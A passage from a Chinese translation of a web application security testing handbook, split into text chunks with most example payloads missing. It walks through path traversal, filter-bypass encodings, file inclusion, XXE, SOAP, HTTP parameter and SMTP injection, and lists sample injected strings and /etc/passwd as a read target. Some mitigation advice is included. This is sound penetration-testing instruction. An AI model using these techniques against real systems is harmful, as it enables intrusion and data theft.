（2）在每一个被提交的参数（包括全部cookie、查询字符串字段和POST数据项）中插入一个特殊的字符串（如traversaltest）测试应用程序的每一个页面。一次仅针对一个参数进行测试，并使用第14章描述的自动技巧加速测试过程。 （3）在文件系统监控工具中设置一个过滤器，确定所有包含测试字符串的文件系统事件。 （4）如果发现测试字符串被用作文件或目录，或者出现在文件或目录名中，那么对每一种情况进行测试（如下所述），确定其是否易于受到路径遍历攻击。 探查路径遍历漏洞 确定各种潜在的路径遍历测试目标后，必须分别测试每种情况，弄清其是否以不安全的方式向相关文件系统操作传送用户可控制的数据。 在测试用户提交的参数时，需确定遍历序列是否被应用程序阻止，或者它们是否能够正常工作。通常，提交不会向上回溯到起始目录的遍历序列是一种较为可靠的初步测试方法。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）假设所针对的参数被附加到应用程序预先设定的目录之后，那么插入任意一个子目录和一个遍历序列，修改参数的值。例如，如果应用程序提交参数 那么可以尝试提交以下值： 如果两种情况下应用程序的行为完全相同，就表示它易于受到攻击。应该继续进行测试，尝试通过向上回溯到起始目录来访问不同的文件。 （2）在上述两种情况下，如果应用程序的行为有所不同，那么应用程序可能阻止、删除或净化遍历序列，致使文件路径失效。需要研究是否可通过其他方法避开应用程序的确认过滤（请参阅下面讨论的内容）。 即使子目录“bar”并不存在，这个测试仍然有效，因为大多数文件系统在尝试获取文件路径前对其进行了规范化。路径序列删除了虚构的目录，因此服务器并不检查它是否存在。 如果发现提交遍历序列但不向上回溯至起始目录不会影响应用程序的行为，那么在接下来的测试中，应该尝试遍历出起始目录，从服务器文件系统的其他地方访问文件。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）如果所攻击的应用程序功能只拥有文件读取访问权限，那么尝试访问相关操作系统上的一个已知任何用户均可读取的文件。提交下面其中一个值作为受控制的文件名参数： 幸运的话，浏览器将显示请求的文件的内容，如图10-5所示。 图10-5 成功的路径遍历攻击 （2）如果所攻击的功能拥有文件写入访问权限，那么要最终确定应用程序是否易于受到攻击，可能会更困难。通常，一种有效的测试是尝试写入两个文件，一个文件可被任何用户写入，另一个文件即使是根用户或管理员也禁止写入。例如，在Windows平台上可以尝试写入下面两个文件： 在UNIX平台上，禁止根用户写入的文件取决于使用的平台版本，但尝试用一个文件重写一个目录绝不可能取得成功，因此可以进行以下尝试： 在上面的每对测试中，如果应用程序在响应两个请求时表现出行为差异（例如，响应第二个请求时返回一条错误消息，而响应第一个请求时不返回错误消息），那么应用程序可能易于受到攻击。 （3）还有另一种方法可通过写入访问确定遍历漏洞，即尝试在Web服务器的Web根目录中写入一个新文件，然后尝试通过浏览器获得这个文件。但是，如果并不知道Web根目录的位置，或者访问文件的用户并不拥有写入权限，这种方法可能不会成功。 注解 几乎每一种文件系统都接受试图向上回溯到文件系统根目录的多余遍历序列。因此，当探查漏洞时，像在上面的示例中一样，最好提交大量的遍历序列。附加数据的起始目录可能位于文件系统的“深处”，因此使用大量的序列有助于避免错误警报。 而且，Windows平台接受斜线（/）和反斜线（\\）作为目录分隔符，而UNIX平台只接受斜线作为分隔符。另外，一些Web应用程序过滤两者之一。即使完全确信Web服务器运行的是UNIX操作系统，但应用程序仍然可能被Windows后端组件调用。为此，当探查遍历漏洞时，最好两者都进行测试。 避开遍历攻击障碍 最初的遍历攻击尝试（如前所述）并未成功，并不意味着应用程序不容易受到攻击。许多应用程序开发者意识到路径遍历漏洞，并执行各种输入确认检查尝试防止这种漏洞。但是，这些防御措施往往存在缺陷，可被技术熟练的攻击者轻易避开。 第一种常见的输入过滤方法如下，首先检查文件名参数中是否存在任何路径遍历序列，如果存在，要么拒绝包含遍历序列的请求，要么尝试删除该序列，以对输入进行净化。这种类型的过滤往往易于受到各种攻击，它们使用编码或其他方法来避开过滤。这类攻击全都利用输入确认机制所面临的规范化问题，我们在第2章已经讲过。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）尝试始终通过使用斜线与反斜线的路径遍历序列进行测试。许多输入过滤仅检查其一种序列，而文件系统却支持全部两种序列。 （2）尝试使用下面的编码方案，对遍历序列进行简单的URL编码。一定要对输入中的每个斜线与点进行编码： （3）尝试使用下面的16位Unicode编码： （4）尝试使用下面的双倍URL编码： （5）尝试使用下面的超长UTF-8 Unicode编码： 可以在Burp Intruder中使用非法Unicode有效载荷类型为任何特殊字符生成大量其他形式的表示法，并将它提交到目标参数的相关位置。这些表示法严重违反了Unicode表示法规则，但却为许多Unicode解码器接受，特别是Windows平台上的解码器。 （6）如果应用程序尝试通过删除遍历序列来净化用户输入，但没有以递归的方式应用这种过滤，那么可以用一个序列替换另一个序列来避开过滤。例如： 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/filestore/30/ http://mdsec.net/filestore/39/ http://mdsec.net/filestore/46/ http://mdsec.net/filestore/59/ http://mdsec.net/filestore/65/ 第二种防御路径遍历攻击时常用的输入过滤，就是确认用户提交的输入是否包含应用程序想要的后缀（如文件类型）或前缀（如起始目录）。这种类型的防御可以与前面描述的过滤联合使用。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）一些应用程序检查用户提交的文件是否以一种或一组特殊的文件类型结尾，并拒绝访问其他内容的请求。有时候，可以在请求的文件名后放入一个URL编码的空字节，在后面连接应用程序接受的文件类型，从而避开这种检查。例如： 这种攻击有时会成功，是因为应用程序使用API在托管执行环境下执行文件类型检查，该执行环境允许字符串包含空字符（如Java中的String.endsWith（））。但是，当获取文件时，应用程序最终在一个无法控制的环境（其中的字符串以空白字符结束）中使用API，因此文件名被截短为想要的值。 （2）一些应用程序将它们自己的文件类型后缀附加在用户提交的文件名后，尝试控制被访问的文件类型。在这种情况下，基于相同的原因，前面的任何一种利用都可能取得成功。 （3）一些应用程序检查用户提交的文件名的开头部分是否为起始目录的某一个子目录，或者一个特殊的文件名。当然，通过以下方法可轻易避开这种检查： （4）如果以上针对输入过滤的攻击都无法成功，可能应用程序实施了几种类型的过滤，因此需要同时使用上面的几种攻击方法（同时针对遍历序列过滤与文件类型或目录过滤）。遇到这种情况，如有可能，最好的办法是将问题分解成几个独立的阶段。例如，如果请求 能够成功，但请求 却导致失败，那么尝试使用所有可能的遍历序列，直到第二个请求获得成功。如果使用这些成功的遍历序列仍然无法访问/etc/passwd，就请求以下文件，检查应用程序是否实施任何文件类型过滤，以及是否可以避开这种过滤： 彻底检查应用程序定义的起始目录，设法了解它实施的全部过滤，看是否可以利用上述技巧避开每一种过滤。 （5）当然，如果能够随意访问应用程序，那么攻击就变得更加简单，因为渗透测试员可以系统性地攻击每种输入，并最终确定通过哪些文件名（如果有）可以到达文件系统。 处理定制编码 我们曾经见到，应用程序采用的文件名编码方案最终以危险的方式进行处理，模糊处理也不能提供任何安全保障，这时就会出现最为可怕的路径遍历漏洞。 例如，一些应用程序具有某种工作流程功能，允许用户上传与下载文件。执行上传操作的请求提供一个文件名参数，它在写入文件时易于受到路径遍历攻击。如果一个文件成功上传，那么应用程序再为用户提供一个下载URL。这里有两点值得注意。 应用程序核对将要写入的文件是否已经存在，如果存在，就拒绝重写这个文件。 为下载用户文件而生成的URL使用一种定制模糊处理方案表示。这种方案似乎是一种定制的Base64编码形式，它在每个编码文件名位置使用一组不同的字符。 总的来说，这些注意点给直接利用漏洞设立了障碍。首先，尽管能够在服务器文件系统中写入任何文件，但攻击者却无法重写任何现有的文件，而且，Web服务器进程拥有的较低权限意味着攻击者不可能在任何有利位置创建新文件。其次，如果不对定制编码进行逆向工程，攻击者也不可能请求任意一个现有的文件（如/etc/passwd）。 一个简单的实验就可以证明模糊处理后的URL包含用户最初提交的文件名字符串，如下所示。 编码后的URL之间的长度差异表明，在应用编码之前，应用程序并未对其进行路径规范化。这种行为让攻击者有机会对漏洞加以利用。首先通过以下名称提交一个文件： 它的规范化形式为： 因此可以被Web服务器写入。上传这个文件将生成以下包含模糊处理文件名的下载URL： 要修改这个值以返回文件/etc/passwd，只需从右边将其截短成 果然，尝试使用这个值下载文件时，结果返回服务器的passwd文件。这说明，服务器为攻击者提供了足够的资源，即使不解译模糊处理算法，攻击者也可以使用它的编码方案编码任意文件路径。 注解 细心的读者可能已经注意到，在上传的文件名中出现了一个多余的./。这样做是必要的，因为它可确保截短后的URL符合Base64编码规则，在3字节的明文边界结束，并因此在4字节的编码文本边界结束。在服务器上解码时，从一个编码块的中间截取URL几乎肯定会造成错误。 利用遍历漏洞 确定一个可向服务器文件系统读取或写入任意文件的路径遍历漏洞后，渗透测试员应当实施哪种攻击利用这些漏洞呢？许多时候，在文件系统上拥有和Web服务器进程相同的读取/写入权限。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 可以利用读取访问路径遍历漏洞从包含有用信息的服务器上获取有益的文件，或者帮助优化针对其他漏洞的攻击。"},
    {"text": "有时，与实现文件上传与下载的工作流程功能一样，应用程序可能需要允许用户通过名称指定文件，这时，开发者可能采用最简单的办法，将用户提交的用户名传送给文件系统API，从而达到这种目的。"},
    {"text": "对用户提交的文件名进行一切必要的过滤后，应用程序应使用适当的文件系统 API 确认是否一切正常，以及使用该文件名访问的文件是否位于应用程序指定的起始目录中。"},
    {"text": "如果这个方法返回的字符串并不以起始目录的名称开头，那么用户已通过某种方式避开了应用程序的输入过滤，因而应用程序应拒绝执行该请求。"},
    {"text": "在ASP.NET中，可以将用户提交的文件名传送给System.Io.Path.GetFullPath方法，并对返回的字符串执行和上述Java中一样的检查，从而达到相同的目的。"},
    {"text": "在Windows平台上，以新逻辑驱动器的形式安装相关起始目录，并且使用相应的驱动器字母访问目录内容，即可实现类似的效果（至少对遍历漏洞而言是这样）。"},
    {"text": "任何时候，只要收到一个包含路径遍历序列的请求，提出请求的用户就可能心存恶意，应用程序应在日志中进行记录， 标明该请求企图违反安全机制，并终止该用户的会话。"},
    {"text": "用户选择他们的位置后，这个信息通过一个请求参数传送给服务器，代码如下： 应用程序通过以下方式处理Country参数： 这使执行环境加载位于Web服务器文件系统中的US.php文件。"},
    {"text": "例如，如果用户可控制的数据被提交给ASP函数Server.Execute，那么攻击者就可以执行任意一段ASP脚本，只要这段脚本属于调用这个函数的相同应用程序。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 要测试远程文件包含漏洞，执行以下步骤。 （1）向每一个目标参数提交一个连接受控制的Web服务器资源的URL，并确定是否收到运行目标应用程序的服务器提出的任何请求。 （2）如果第一次测试失败，尝试提交一个包含不存在的IP地址的URL，并确定服务器试图与这个地址建立连接时是否出现超时。 （3）如果发现应用程序易于受到远程文件包含攻击，与前面描述的动态执行攻击中一样，使用相关语言中可用的API，构建一段恶意脚本实施攻击。 相对于远程文件包含而言，存在本地文件包含漏洞的脚本环境要更多一些。要测试本地文件包含漏洞，执行以下步骤。 （1）提交服务器上一个已知可执行资源的名称，确定应用程序的行为是否有任何变化。 （2）提交服务器上一个已知静态资源的名称，确定它的内容是否被复制到应用程序的响应中。 （3）如果应用程序易于受到本地文件包含攻击，尝试通过Web服务器访问任何无法直接到达的敏感功能或资源。 （4）测试能否利用之前讲到的遍历技巧访问其他目录中的文件。 黑客攻防技术宝典：Web实战篇（第2版） 10.3 注入XML 解释器 今天的Web应用程序大量使用XML，在浏览器与前端应用程序服务器之间传送的请求和响应，以及在后端应用程序组件（如SOAP服务）之间传送的消息中都可以找到XML。如果使用专门设计的输入破坏应用程序的运行并执行某些未授权操作，这些位置就易于受到各种攻击。 10.3.1 注入XML外部实体 在今天的Web应用程序中，XML常用于从客户端向服务器提交数据。然后，服务器端应用程序将处理这些数据，并且可能会返回一个包含XML或任何其他格式数据的响应。在使用异步请求在后台进行通信的基于Ajax的应用程序中，这种行为最为常见。浏览器扩展组件和其他客户端技术也可能会用到XML。 以一个使用Ajax实现的、提供无缝用户体验的搜索功能为例。在用户输入搜索词时，客户端脚本将向服务器提出以下请求： 服务器的响应如下所示（无论响应采用什么格式，其中都可能存在漏洞）： 客户端脚本将处理该响应，并用搜索结果对用户界面进行更新。 如果遇到这种类型的功能，应当始终检查其是否存在XML外部实体（XXE）注入漏洞。之所以会出现这种漏洞，是因为标准的XML解析库支持使用实体引用。这些引用仅仅是在XML文档内部或外部引用数据的一种方法。通过阅读本书的其他内容，你应该很熟悉实体引用。例如，与<和>字符对应的实体如下所示： XML格式允许在XML文档中定义定制实体。这些实体在文档开始部分的可选DOCTYPE元素中定义。例如： 如果文档中包含以上定义，解析器将用testrefvalue这个已定义的值替代文档中出现的任何&testref;实体引用。 此外，XML规范允许使用外部引用来定义实体，XML解析器将动态提取这些实体的值。这些外部实体定义采用URL格式，并可以引用外部Web URL或本地文件系统上的资源。XML解析器将提取指定URL或文件的内容，并将其作为已定义实体的值。如果应用程序在其响应中返回任何使用外部定义的实体的XML数据，则指定文件或URL的内容将在该响应中返回。 攻击者可以通过向XML添加适当的DOCTYPE元素，或通过修改该元素（如果它已经存在），在基于XML的请求中指定外部实体。外部实体引用使用SYSTEM关键字来指定，并使用URL（可能使用file:协议）进行定义。 在前一个示例中，攻击者可以提交以下请求（该请求定义一个引用服务器文件系统上的文件的XML外部实体）： 收到这个请求后，XML解析器将提取指定文件的内容，并使用该内容来替代已定义的实体引用（攻击者已在SearchTerm元素中使用了该实体引用）。由于SearchTerm元素的值会在应用程序的响应中回显，这会导致服务器以该文件的内容作出响应，如下所示："},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/search/128/ 除使用file:协议来指定本地文件系统上的资源外，攻击者还可以使用http:等协议让服务器通过网络提取资源。这些URL可以指定任意主机、IP地址和端口。攻击者可以利用它们与后端系统上无法通过因特网直接访问的网络服务进行交互。例如，以下攻击尝试连接到在专用IP地址192.168.1.1的端口25上运行的邮件服务器： 通过这种技巧可以实施各种攻击，如下所示。 攻击者可以将应用程序作为代理服务器使用，从应用程序能够访问的任何Web服务器上检索敏感内容，包括那些在组织内部的专用非路由地址空间运行的内容。 攻击者可以利用后端Web应用程序中的漏洞，只要这些漏洞可以通过URL加以利用。 攻击者可以通过攻击大量IP地址和端口号，对后端系统上的开放端口进行测试。在某些情况下，可以使用时间性差异来推断所请求的端口的状态。其他时候，应用程序可能会在响应中返回某些服务的服务标题（service banner）。 最后，如果应用程序检索外部实体，但并不在响应中返回该实体，则攻击者仍然可以通过无期限地读取某个文件流，从而实施拒绝服务攻击。 10.3.2 注入SOAP SOAP（Simple Object Access Protocol，简单对象访问协议）是一种使用XML格式封装数据、基于消息的通信技术。各种在不同操作系统和架构上运行的系统也使用它来共享信息和传递消息。它主要用在Web服务中；通过浏览器访问的Web应用程序常常使用SOAP在后端应用程序组件之间进行通信。 由不同计算机执行单项任务以提高性能的大型企业应用程序经常使用SOAP。采用Web应用 程序作为现有应用程序前端的情况也经常可以见到SOAP的身影。这时，应用程序通常使用SOAP在不同的组件之间通信，以确保模块性和互用性。 由于XML是一种解释型语言，因此，和前面描述的其他示例一样，SOAP也易于受到代码注入攻击。XML元素通过元字符<、>和/以语法形式表示。如果用户提交的数据中包含这些字符，并被直接插入SOAP消息中，攻击者就能够破坏消息的结构，进而破坏应用程序的逻辑或造成其他不利影响。 以一个银行应用程序为例，一名用户正使用下面的HTTP请求进行转账： 在处理这个请求的过程中，应用程序在两个后端组件之间传送下面的SOAP消息： 注意消息中的XML元素如何与HTTP请求中的参数对应起来，以及应用程序如何添加ClearedFunds元素。这时，应用程序逻辑确定账户中没有足够的资金可进行转账，并将这个元素（ClearedFunds）的值设为False，因此收到SOAP消息的组件将拒绝转账。 在这种情况下，攻击者可以通过各种方法注入SOAP消息，从而破坏应用程序的逻辑。例如，提交下面的请求会在最初的元素之前插入另外一个ClearedFunds元素（同时保持SQL语法的有效性）。如果应用程序处理它遇到的第一个ClearedFunds元素，那么即使账户中没有资金，也可以成功进行转账。 另一方面，如果应用程序处理它遇到的后一个ClearedFunds元素，攻击者就可以在ToAccount参数中注入一个类似的攻击。 另一种类型的攻击是使用XML注释完全删除原始SOAP消息中的一个元素，并用攻击者自己 设计的元素代替被删除的元素。例如，下面的请求通过Amount参数注入一个ClearedFunds元素，为ToAccount元素建立一个起始标签，开始一段注释，并在ToAccount参数中结束注释，从而保持XML语法的有效性： 另一种攻击是尝试在一个注入的参数内完成整个SOAP消息，并将消息的剩余部分注释掉。但是，由于没有结束注释与起始注释相匹配，这种攻击会生成完全错误的XML语法，从而被许多XML解析器拒绝。这种攻击并不能在所有XML解析库中起作用，它只对定制或自主研发的XML解析器奏效。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 这个示例中包含一个错误消息，有助于对攻击进行微调： http://mdsec.net/bank/27/ 下面的示例包含同样的漏洞，但反馈信息很少。由此可见，如果错误消息没有什么提示信息，利用SOAP注入有多难！ http://mdsec.net/bank/18/ http://mdsec.net/bank/6/ 10.3.3 查找并利用SOAP注入 SOAP注入可能很难发现，因为随意提交XML元字符会破坏SOAP消息的格式，而且这样做生成的错误消息也极其简单。但是，使用下面的步骤依然可以相对可靠地检测出SOAP注入漏洞。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）轮流在每个参数中提交一个恶意XML结束标签，如</foo>。如果没有发生错误，那么输入可能没有插入到SOAP消息中，或者以某种方式被净化了。 （2）如果出现错误，提交一对有效的起始与结束标签，如<foo></foo>。如果这对标签使错误消失，那么应用程序很可能易于受到攻击。 （3）有些时候，插入到XML格式消息中的数据随后以XML格式被读取并返回给用户。如果修改的数据项在应用程序的响应中返回，看看提交任意XML内容是否会以相同的形式返回，或者已通过某种方式被规范化。轮流提交下面两个值： 如果发现其中一个值的返回结果为另一个值，或者只返回test，那么可以确信输入被插入到了XML消息中。 （4）如果HTTP请求中包含几个可放入SOAP消息的参数，尝试在一个参数中插入起始注释字符<!--，在另一个参数中插入结束注释字符!-->。然后，轮换在参数中插入这两个字符（因为无法知道参数出现的顺序）。这样做可能会把服务器SOAP消息的某个部分作为注释处理，从而改变应用程序的逻辑，或者形成一个可能造成信息泄露的不同错误条件。 如果SOAP注入很难发现，就更难对其加以利用。许多时候，需要知道数据周围的XML的结构，以提交专门设计的输入，修改消息内容而不致破坏它的结构。在前面描述的所有测试中寻找任何揭示SOAP消息处理细节的错误消息。幸运的话，一条详细的错误消息将透露SOAP消息的完整内容，允许构建专门设计的值查找相关漏洞。如果不够幸运，就只能纯粹猜测，这样攻击成功的几率就非常低。 10.3.4 防止SOAP注入 我们可以在用户提交的数据被插入SOAP消息中的任何位置实施边界确认过滤，以防止SOAP注入。需要进行过滤的数据包括用户在当前请求中直接提交的数据，以及在前面的请求中已经存在或由以用户数据为输入的其他处理过程生成的数据。 为防止上述攻击，应用程序应对出现在用户输入中的任何XML元字符进行HTML编码。HTML编码包含用对应的HTML实体替代字面量字符。这样做可确保XML解释器在进行处理时，把它们当做相关元素的数据值，而不是消息结构的一部分。一些经常造成问题的字符的HTML编码如下： 黑客攻防技术宝典：Web实战篇（第2版） 10.4 注入后端HTTP 请求 在上一节中，我们介绍了一些应用程序如何将用户提交的数据合并到后端HTTP请求中，以 请求用户无法直接访问的服务。更常见的情况是，应用程序可能会将用户输入嵌入任何类型的后端HTTP请求，包括那些以常规名/值对传输参数的请求。由于应用程序通常会有效代理用户提交的URL或参数，因而这种行为往往易于受到攻击。针对这种功能的攻击可以分为以下类别： 服务器端HTTP重定向： 攻击者可以通过这种方法指定任意资源或URL，然后再由后端应用程序服务器请求这些资源或URL。 HTTP参数注入（HPI）： 攻击者可以通过这种方法在应用程序服务器提出的后端HTTP请求中注入任意参数。如果攻击者注入后端请求中已存在的参数，就可以利用HTTP参数污染（HPP）攻击覆盖服务器指定的原始参数值。 10.4.1 服务器端HTTP重定向 如果应用程序接受用户可控制的输入，并将其合并到使用后端HTTP请求检索的URL中，这种行为就会导致服务器端重定向漏洞。用户提交的输入中可能包含被检索的完整URL，或者应用程序可能会对该URL进行某种处理，如添加标准的后缀。 后端HTTP请求可能指定公共因特网上的某个域，或者指定用户无法直接访问的内部服务器。所请求的内容可能对应用程序的功能非常关键，如支付网关的接口；或者较为次要，如从第三方提取的内容。这种技巧常用于将几个单独的内部和外部应用程序组件结合到一个前端应用程序中，再由该应用程序代表这些组件实施访问控制和会话管理。如果攻击者能够控制后端HTTP请求中的IP地址或主机名，他就可以使应用程序服务器连接到任意资源，有时甚至能够检索后端响应的内容。 以下面的前端请求为例，其中的loc参数用于指定客户端希望查看的CSS文件的版本： 如果没有在loc参数中为URL指定确认机制，攻击者就可以指定任何主机名来替代online.wahh-blogs.net。应用程序将检索指定的资源，导致攻击者将应用程序用作潜在的敏感后端服务的代理服务器。在下面的示例中，攻击者使应用程序连接到后端SSH服务： 应用程序的响应包含所请求的SSH服务的旗标： 攻击者可以利用服务器端HTTP重定向漏洞，将易受攻击的应用程序作为开放的HTTP代理服务器，以实施各种其他攻击。 攻击者可以将该代理服务器用于攻击互联网上的第三方系统。恶意流量针对的是运行易受攻击的应用程序的服务器上的目标。 攻击者可以将该代理服务器用于连接到组织内部网络中的任意主机，从而访问无法通过因特网直接访问的目标。 攻击者可以将该代理服务器用于反向连接在应用程序服务器本身上运行的其他服务，从而突破防火墙的限制，并利用信任关系来避开身份验证。 最后，攻击者可以通过使应用程序在响应中包含受控的内容，利用代理功能实施跨站点脚本等攻击（请参阅第12章了解详细信息）。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）确定任何可能包含主机名、IP地址或完整URL的请求参数。 （2）对于每个参数，修改参数值以指定其他与所请求的资源类似的资源，并观察该资源是否会出现在服务器的响应中。 （3）尝试指定一个针对你控制的因特网服务器的URL，并对该服务器进行监视，检查来自所测试的应用程序的传入连接。 （4）如果没有收到任何传入连接，则监视应用程序响应所花费的时间。如果存在延迟，则说明应用程序的后端请求可能由于出站连接上的网络限制导致超时。 （5）如果你成功利用相关功能连接到任意URL，则可以尝试实施以下攻击。 （a）确定是否可以指定端口号。例如，可以指定http://mdattacker.net:22。 （b）如果可以指定端口号，尝试使用Burp Intruder等工具对内部网络进行端口扫描，以逐个连接到一系列IP地址和端口（请参阅第14章了解详细信息）。 （c）尝试连接到应用程序服务器的回环地址上的其他服务。 （d）尝试将受控的Web页面加载到应用程序的响应中，以实施跨站点脚本攻击。 注解 一些服务器端重定向API，如ASP.NET中的Server.Transfer（）和Server.Execute（），仅可重定向到同一主机上的相关URL。尽管如此，攻击者仍然可以向这些方法传递用户提交的输入，以利用信任关系，并访问受平台级身份验证保护的服务器上的资源。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/updates/97/ http://mdsec.net/updates/99/ 10.4.2 HTTP参数注入 如果用户提交的参数被用作后端HTTP请求中的参数，这时就会导致HTTP参数注入（HPI）。以下面的之前易于受SOAP注入的银行转账功能（稍作修改）为例： 这个前端请求由用户的浏览器提出，将导致应用程序向银行基础架构中的另一台Web服务器提出其他HTTP请求。在以下后端请求中，应用程序从前端请求中复制了一些参数值： 这个请求要求后端服务器检查是否有清算资金可以转账，如果有，则进行转账。但是，前端服务器可以通过提供以下参数，指定存在清算资金，从而避开上述检查： 如果攻击者发现这种行为，他就可以尝试实施HPI攻击，在后端请求中注入clearedfunds参数。要注入该参数，他将所需参数附加到现有参数值的后面，并将分隔名称和值的&和=字符进行URL编码，如下所示： 当应用程序服务器处理这个请求时，它会以正常方式对参数值进行URL解码。因此，前端应用程序收到的ToAccount参数的值为： 如果前端应用程序没有确认这个值并将它按原样传递给后端请求，应用程序将提出以下后端请求，使攻击者能够成功避开清算资金检查： 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/bank/48/ 注解 与SOAP注入不同，在后端请求中注入任意异常参数不会导致任何错误。因此，要想成功实施攻击，需要清楚了解应用程序具体使用了哪些后端参数。在黑盒环境下，很难确定这些信息；但是，如果应用程序使用任何可以获取或搜索其代码的第三方组件，那么就可以轻易获得这些信息。 1．HTTP参数污染 HPP是一种可用于各种环境下的攻击技巧（请参阅第12章和第13章了解其他示例），这种技巧常用在HPI攻击中。 如果请求中包含多个同名请求，这时Web服务器该如何处理？对于这一问题，HTTP规范并未提供任何指导。实际上，各种Web服务器的处理方式各不相同，以下是一些常见的处理方式。 使用参数的第一个实例。 使用参数的最后一个实例。 串联参数值，可能在参数之间添加分隔符。 构建一个包含所有请求值的数组。 在前面的HPI示例中，攻击者可以在后端请求中添加一个新参数。实际上，攻击者可以对其实施注入攻击的请求很可能已经包含一个与攻击者所针对的参数同名的参数。在这种情况下，攻击者可以使用HPI条件注入另一个同名参数。随后，应用程序将表现出何种行为，将取决于后端HTTP服务器如何处理重复的参数。这样，攻击者或许可以用他注入的参数值“覆盖”原始参数值。 例如，如果原始的后端请求为： 并且后端服务器使用任何重复的参数的第一个实例，则攻击者可以对前端请求中的FromAccount参数实施攻击，如下所示： 相反，在这个示例中，如果后端服务器使用任何重复的参数的最后一个实例，则攻击者可以对前端请求中的ToAccount参数实施攻击。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/bank/52/ http://mdsec.net/bank/57/ HPP攻击能否成功，在很大程度上取决于目标应用程序服务器如何处理多个同名参数，以及后端请求中的插入点是否准确。如果两种技术需要处理相同的HTTP请求，HPP攻击就会造成严重的后果。Web应用程序防火墙或反向代理可能会处理某个请求，并将其传递给Web应用程序，由Web应用程序抛弃变量，甚至是基于之前不相关的请求部分构建字符串。 欲了解常见应用程序服务器在处理同名参数时的不同行为，请参阅以下论文： www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf 2．攻击URL转换 许多服务器会在所请求的URL抵达时重写这些URL，再将它们映射到应用程序中的相关后端功能。除传统的URL重写外，服务器在处理REST风格的参数、定制导航包装器以及其他URL转换方法时都会进行URL重写。这种处理方式可能易受HPI和HPP攻击。 为了简化和便于导航，一些应用程序在URL的文件路径，而非查询字符串中插入参数值。通常，应用程序会通过一些简单的规则转换URL，然后将其转发给真正的目标。Apache中的以下mod_rewrite规则用于处理可公共访问的用户资料： 此规则接受非常简洁的请求，例如： 并将这些请求转换为后端请求，以便于用户管理页面user_mgr.php包含的view功能进行处理。它将marcus参数移入查询字符串并添加mode=view参数： 在这种情况下，攻击者就可以利用HPI攻击在经过重写的URL中注入另一个mode参数。例如，如果攻击者请求： 将URL编码的值嵌入经过重写的URL中，将得到： 讲HPP攻击的我们说到，这种攻击能否成功取决于服务器如何处理重复的参数。在PHP平台中，mode参数被视为具有值edit，因而攻击取得成功。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）轮流针对每个请求参数进行测试，尝试使用各种语法添加一个新注入的参数。 %26foo%3dbar —— URL编码的&foo=bar %3bfoo%3dbar —— URL编码的;foo=bar %2526foo%253dbar —— 双重URL编码的&foo=bar （2）确定任何修改后不会改变应用程序的行为的参数实例（仅适用于在修改后会在应用程序的响应中造成某种差异的参数）。 （3）在上一步确定的每个实例都可以实施参数注入。尝试在请求的不同位置注入一个已知的参数，看这样做是否可以覆盖或修改现有的某个参数。例如： （4）如果这样做会将现有值替换为新值，确定是否可以通过注入一个由后端服务器读取的值来避开任何前端确认机制。 （5）用其他参数名称替换注入的已知参数，如第4章介绍应用程序解析和内容查找时所述。 （6）测试应用程序是否允许在请求中多次提交同一个参数。在其他参数前后，以及请求的不同位置（查询字符串、cookie和消息主体中）提交多余的值。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 10.5 注入电子邮件 许多应用程序拥有一项允许用户通过应用程序提交消息的功能。例如，向支持人员报告问题或提供关于Web站点的反馈。这项功能一般通过邮件（或SMTP）服务器执行。通常，用户提交的输入被插入到邮件服务器处理的SMTP会话中。如果攻击者能够提交未被过滤或净化的专门设计的输入，就可以在这个会话中注入任意SMTP命令。 多数时候，应用程序允许用户指定消息的内容和自己的电子邮件地址（插入到生成电子邮件的From字段中），还可以指定消息的主题和其他细节。能够控制的任何字段都易于受到SMTP注入。 SMTP注入漏洞经常被垃圾邮件发送者利用，他们扫描因特网查找易受攻击的邮件表单，并使用它们生成大量垃圾电子邮件。 10.5.1 操纵电子邮件标头 以图10-6所示的表单为例，它允许用户发送关于应用程序的反馈。 图10-6 一个典型的站点反馈表单 在该表单中，用户可指定发件人（From）地址和邮件的内容。应用程序将这个输入传送给 PHP mail（）命令，由它建立邮件并与它配置的邮件服务器进行必要的SMTP会话。生成的邮件如下： PHP mail（）命令使用additional_headers参数为消息设定发件人地址。这个参数还可用于指定其他标头，包括Cc和Bcc，并用换行符分隔每个被请求的标头。因此，攻击者可以通过在From字段中注入这其中某个标头，将邮件发送给任意收件人，如图10-7所示。 图10-7 电子邮件标头注入攻击 这会导致mail（）命令生成以下邮件： 10.5.2 SMTP命令注入 在其他情况下，应用程序可能会执行SMTP会话，或者将用户提交的输入传送给一个不同的组件以完成这一任务。这时，我们就可以直接在这个会话中注入任意SMTP命令，完全控制由应用程序生成的消息。 例如，以一个使用以下请求提交站点反馈的应用程序为例： 应用程序会使用以下命令开始一个SMTP会话： 注解 SMTP客户端发出DATA命令后，应用程序送出电子邮件消息的内容，包括消息头和主体，然后发送一个点字符（.）。这告诉服务器消息已发送完毕，客户端可以发出其他SMTP命令，发送其他消息。 这时，攻击者可以在任何受控的电子邮件字段中注入任意SMTP命令。例如，他可以尝试注入Subject字段，如下所示： 如果应用程序易受攻击，那么会建立以下SMTP会话，它生成两个不同的电子邮件消息，其中第二个完全由攻击者控制： 10.5.3 查找SMTP注入漏洞 为了有效探查应用程序的邮件功能，需要测试每一个提交给与电子邮件有关的功能的参数，甚至那些最初可能与生成的消息无关的参数。 渗透测试员还应该测试每一种攻击，并在每个测试中使用Windows和UNIX形式的换行符。 